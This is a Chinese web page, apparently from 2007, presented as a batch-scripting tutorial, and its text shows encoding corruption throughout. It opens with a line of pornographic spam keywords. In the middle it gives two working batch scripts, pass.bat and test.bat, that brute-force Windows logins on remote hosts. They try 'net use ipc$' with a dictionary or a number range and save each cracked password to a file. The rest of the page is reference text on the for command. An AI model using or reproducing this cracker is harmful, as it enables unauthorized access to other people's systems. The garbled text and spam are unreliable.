欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

又一篇不錯(cuò)的批處理bat學(xué)習(xí)教程

 更新時(shí)間:2007年02月28日 00:00:00   作者:  

警告:患有心腦血管病的朋友請(qǐng)不要研究以上兩例,否則輕者頭大如斗,重者血管爆裂。任何人由于研究這兩個(gè)腳本的區(qū)別而造成的任何事故由自己或其合法監(jiān)護(hù)人負(fù)責(zé),與本人和本論壇無(wú)關(guān)。特此警告! 

有關(guān)管道命令和組合命令就大概介紹到這里了,不知道聰明的你是否理解? 

這幾個(gè)命令真的把我的頭都搞大了。在網(wǎng)上有一篇流傳很廣的批處理教程:“簡(jiǎn)明批處理教程”,雖然說(shuō)的比較全面,但看起來(lái)很不過(guò)癮。在對(duì)for等命令介紹時(shí)就一個(gè)for /? > a.txt & start a.txt完事了(當(dāng)然這一點(diǎn)上我不能說(shuō)人家什么,畢竟我連for /?都沒(méi)給出),而對(duì)上述管道命令和組合命令、以及這篇教程以后將講到的用批處理操作注冊(cè)表等方面根本沒(méi)有介紹。我之所以花整整一章來(lái)講管道命令和組合命令,是因?yàn)樗麄儾攀桥幚淼木A和靈魂,能否正確利用好這幾個(gè)命令,是能否掌握批處理的前提條件。如for、set等DOS命令的問(wèn)題,可以從DOS的角度出發(fā)專(zhuān)門(mén)有針對(duì)性的學(xué)習(xí),但有關(guān)這幾個(gè)命令的問(wèn)題,卻是不容易精通掌握的----他們之間的關(guān)系太復(fù)雜了! 
將下列代碼存為bat文件 
1、如果用字典破解:pass.bat 字典文件路徑及名稱(chēng) 主機(jī) 用戶(hù)名 
2、如果用數(shù)字破解:pass.bat 起始數(shù) 步長(zhǎng) 結(jié)束數(shù) 主機(jī) 用戶(hù)名 
密碼破解出來(lái)之后,存放于c:\pass.txt文件里面。 
將下列代碼存為pass.bat文件  


復(fù)制代碼 代碼如下:

@echo off  
echo ------------------------------------------------------------------- >>c:pass.txt  
echo ------------------------------------------------------------------- >>c:pass.txt  
date /t >>c:pass.txt  
time /t >>c:pass.txt  
echo 破解結(jié)果: >>c:pass.txt  
if "%6"=="1" goto 大棒槌是我的說(shuō)2  
:大棒槌是我的說(shuō)1  
start "正在破解" /min cmd /c for /f %%i in (%1) do call test.bat %2 "%%i" %3  
goto quit  
:大棒槌是我的說(shuō)2  
start "正在破解" /min cmd /c for /l %%i in (%1,%2,%3) do call test.bat %4 "%%i" %5  
:quit  

將下列代碼存為test.bat 

復(fù)制代碼 代碼如下:

net use \%1ipc$ %2 /user:"%3"  
goto answer%ERRORLEVEL%  
rem %ERRORLEVEL%表示取前一命令執(zhí)行返回結(jié)果,net use成功返回0,失敗返回2  
:answer0  
echo 遠(yuǎn)程主機(jī):"%1" >>c:pass.txt  
echo 用 戶(hù):"%3" >>c:pass.txt  
echo 密 碼:%2 >>c:pass.txt  
net use \%1ipc$ /delet  
exit  
:answer2  


“For”: 
對(duì)一組文件中的每個(gè)文件運(yùn)行指定的命令。 

可以在批處理程序中或直接從命令提示符使用 for 命令。 

要在批處理程序中使用 for 命令,請(qǐng)使用以下語(yǔ)法: 

for %%variable in (set) docommand [command-parameters] 

要在命令提示符下使用 for,請(qǐng)使用以下語(yǔ)法: 

for %variable in (set) do command [command-parameters] 

參數(shù) 

%%variable 或 %variable 

代表可替換的參數(shù)。for 命令使用在 set 中指定的每個(gè)文本字符串替換 %%variable(或 %variable),直到此命令(在 command-parameters 中指定)處理所有的文件為止。使用 %% variable 在批處理程序中執(zhí)行 for 命令。使用 % variable 通過(guò)命令提示符執(zhí)行 for 命令。變量名區(qū)分大小寫(xiě)。 

(set) 

指定要用指定的命令處理的一個(gè)或多個(gè)文件或文本字符串。需要括號(hào)。 

command 

指定要在指定的 set 所包含的每個(gè)文件上執(zhí)行的命令。 

command-parameters 

指定要用于指定命令(如果指定的命令要使用任何參數(shù)或開(kāi)關(guān))的任何參數(shù)或開(kāi)關(guān)。 

如果啟用了命令擴(kuò)展(Windows 2000 中的默認(rèn)設(shè)置),將支持 for 命令的其他形式。 
For 命令的其他形式 
如果啟用了命令擴(kuò)展,將支持如下 for 命令的其他格式: 

只限于目錄 

for /D [%% | %]variable in (set) docommand [command-parameters] 

如果 set 包含通配符(* 和 ?),則指定與目錄名匹配,而不是文件名。 

遞歸 

for /R [[drive :]path] [%% | %]variable in (set) docommand [command-parameters] 

進(jìn)入根目錄樹(shù)[drive:]path,在樹(shù)的每個(gè)目錄中執(zhí)行 for 語(yǔ)句。如果在 /R 后沒(méi)有指定目錄,則假定為當(dāng)前目錄。如果 set 只是一個(gè)句號(hào) (.) 字符,則只列舉目錄樹(shù)。 

迭代 

for /L [%% | %]variable in (start,step,end) do command [command-parameters] 

集合是一系列按步長(zhǎng)量劃分的、從頭到尾的數(shù)字。這樣,(1,1,5) 將生成序列 1 2 3 4 5,而 (5,-1,1) 將生成序列 (5 4 3 2 1)。

相關(guān)文章

最新評(píng)論